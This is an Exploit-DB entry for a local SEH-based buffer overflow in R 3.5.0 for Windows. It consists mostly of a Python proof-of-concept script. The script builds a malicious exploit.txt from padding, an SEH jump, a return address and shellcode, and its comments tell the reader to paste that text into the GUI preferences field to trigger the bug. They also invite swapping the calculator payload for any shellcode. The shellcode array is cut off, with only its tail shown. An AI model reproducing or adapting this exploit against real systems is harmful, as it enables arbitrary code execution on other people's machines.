R 3.5.0 - Local Buffer Overflow (SEH)

EDB-ID:
46288

CVE:
N/A

EDB Verified: ×

Author:
DINO COVOTSOS

Type:
LOCAL

Exploit: / {}

```
#!/usr/bin/python
# Exploit Title: R i386 3.5.0 - Local Buffer Overflow (SEH)
# Date: 30/01/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: https://www.r-project.org/
# Version: 3.5.0
# Software Link: https://cran.r-project.org/bin/windows/base/old/3.5.0/R-
3.5.0-win.exe
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Version: 3.5.0
# Tested on: Windows XP Prof SP3 ENG x86
# Note: SEH exploitation method (SEH + DEP Bypass exploit for Windows 7 x86
by Bzyo available on exploit-db)
# CVE: TBC from Mitre
# Created in preparation for OSCE - DC - Telspace Systems
# PoC:
# 1.) Generate exploit.txt, copy the contents to clipboard
# 2.) In the application, open 'Edit' then 'Gui Preferences'
# 3.) Paste the contents of exploit.txt under 'Language for menus and
messages'
# 4.) Click OK - Calc POPS (or change shellcode to whatever you require,
take note of badchars!)
```



```
"\x3d\x94\xc0\x42\x17\x3d\x8d\x16\x2a\x20\x2e\xcd\x68\x5d\xad"
"\xe4\x10\x9a\xad\x8c\x15\xe6\x69\x7c\x67\x77\x1c\x82\xd4\x78"
"\x35\xe1\xbb\xea\xd5\xc8\x5e\x8b\x7c\x15")

buffer = "A" * 884 + "\xEB\x09\x90\x90" + "\x85\x91\xb9\x6c" + "\x90" * 20
+ shellcode + "D" * 8868

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

Tags: Local Buffer Overflow **Advisory/Source:** Link